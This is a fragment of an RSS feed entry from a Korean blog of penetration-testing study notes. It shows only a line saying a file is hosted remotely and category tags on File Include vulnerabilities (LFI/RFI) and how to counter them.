&lt;p data-ke-size=&quot;size16&quot;&gt;(해당 파일이 원격지에 위치함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모의해킹 공부하기/모의해킹 수업 복습</category>
      <category>File Include 취약점 File Include 대응방법</category>
      <category>LFI와 RFI</category>
      <category>Local File Include</category>
      <author>hanse84</author>
      <guid isPermaLink="true">https://hanse84.tistory.com/28</guid>
      <comments>https://hanse84.tistory.com/28#entry28comment</comments>
      <pubDate>Wed, 14 Feb 2024 23:18:05 +0900</pubDate>
    </item>
  </channel>
</rss>